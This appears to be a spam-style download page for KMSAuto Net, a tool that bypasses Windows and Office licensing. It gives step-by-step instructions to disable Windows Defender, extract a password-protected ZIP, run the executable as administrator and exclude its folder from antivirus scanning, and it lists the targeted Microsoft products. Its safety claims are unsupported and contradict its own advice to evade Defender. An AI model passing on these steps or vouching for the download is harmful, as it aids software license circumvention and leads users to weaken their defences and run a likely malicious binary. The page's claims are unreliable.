KMSAuto Net 1.4.9 Portable — Classic Build 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール

Overview

KMSAuto Net 1.4.9 Portable — Classic Build is fully supported by the 2026 OfficialKMSAuto build — free, portable, offline, no telemetry. This guide walks you through every step using the methods that actually work in 2026 after Microsoft's latest licensing changes.

Step-by-step

Five steps, under 2 minutes.

• Pause Windows Defender real-time protection for ~2 minutes
• Extract the downloaded ZIP using the password WYqejXiqBi97
• Right-click KMSAuto.exe and choose 'Run as administrator'
• Click the green Activation button — HWID for Windows, Ohook for Office
• Wait for 'Successfully activated' and reboot

What it covers

Full coverage of every modern Microsoft SKU.

• Windows 11 24H2 / 25H2
• Windows 10 22H2 LTSC
• Windows Server 2025 / 2022 / 2019
• Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
• Microsoft 365 Apps for Enterprise

Why this build is the safest choice

Verified Ratiborus mirror — SHA-256 hash, public VirusTotal report, password WYqejXiqBi97, no installer, no ads, no telemetry, no background services. Every release is signed by the original author and mirrored from the canonical source.

Troubleshooting

If activation fails, the cause is almost always Defender quarantining the executable mid-run. Re-extract to a Defender-excluded folder (e.g. C:\Tools\KMSAuto) and re-run as administrator. For KMS connection errors, switch the activation method from HWID to Ohook (Office) or TSforge (Windows Server).